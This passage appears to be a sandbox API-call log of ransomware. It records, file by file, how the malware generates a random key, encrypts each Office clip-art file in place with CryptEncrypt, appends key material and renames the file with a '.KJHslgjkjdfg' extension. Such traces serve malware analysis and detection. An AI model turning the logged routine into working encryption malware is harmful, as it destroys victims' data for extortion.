dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.822] GetProcessHeap () returned 0x2ef0000 [0243.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.823] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0243.825] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.825] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.825] GetProcessHeap () returned 0x2ef0000 [0243.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.825] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.825] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.825] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.826] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.826] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.826] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b4a, lpOverlapped=0x0) returned 1 [0243.827] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b50) returned 1 [0243.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.827] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b50, lpOverlapped=0x0) returned 1 [0243.827] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.827] SetEndOfFile (hFile=0x130) returned 1 [0243.830] GetProcessHeap () returned 0x2ef0000 [0243.830] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.830] GetProcessHeap () returned 0x2ef0000 [0243.830] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.kjhslgjkjdfg")) returned 1 [0243.832] CloseHandle (hObject=0x130) returned 1 [0243.832] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0243.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.834] GetProcessHeap () returned 0x2ef0000 [0243.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.834] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.834] GetProcessHeap () returned 0x2ef0000 [0243.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.837] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.837] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.837] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.837] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.837] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.837] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x540, lpOverlapped=0x0) returned 1 [0243.837] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540, dwBufLen=0x540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540) returned 1 [0243.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.837] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x540, lpOverlapped=0x0) returned 1 [0243.838] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.838] SetEndOfFile (hFile=0x130) returned 1 [0243.841] GetProcessHeap () returned 0x2ef0000 [0243.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.841] GetProcessHeap () returned 0x2ef0000 [0243.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.kjhslgjkjdfg")) returned 1 [0243.843] CloseHandle (hObject=0x130) returned 1 [0243.843] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0243.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.845] GetProcessHeap () returned 0x2ef0000 [0243.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0243.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.848] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.848] GetProcessHeap () returned 0x2ef0000 [0243.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.849] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.849] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.849] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x334, lpOverlapped=0x0) returned 1 [0243.849] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x340) returned 1 [0243.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x340, lpOverlapped=0x0) returned 1 [0243.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.850] SetEndOfFile (hFile=0x130) returned 1 [0243.852] GetProcessHeap () returned 0x2ef0000 [0243.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.852] GetProcessHeap () returned 0x2ef0000 [0243.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.kjhslgjkjdfg")) returned 1 [0243.855] CloseHandle (hObject=0x130) returned 1 [0243.855] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0243.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.856] GetProcessHeap () returned 0x2ef0000 [0243.856] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.856] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.857] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.857] GetProcessHeap () returned 0x2ef0000 [0243.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.857] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.859] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.860] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x900, lpOverlapped=0x0) returned 1 [0243.860] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900) returned 1 [0243.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.860] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x900, lpOverlapped=0x0) returned 1 [0243.860] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.860] SetEndOfFile (hFile=0x130) returned 1 [0243.863] GetProcessHeap () returned 0x2ef0000 [0243.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.863] GetProcessHeap () returned 0x2ef0000 [0243.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.kjhslgjkjdfg")) returned 1 [0243.865] CloseHandle (hObject=0x130) returned 1 [0243.865] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0243.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.868] GetProcessHeap () returned 0x2ef0000 [0243.868] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.868] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.877] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.877] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.877] GetProcessHeap () returned 0x2ef0000 [0243.877] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.877] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.877] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.877] WriteFile (in: hFile=0x130, 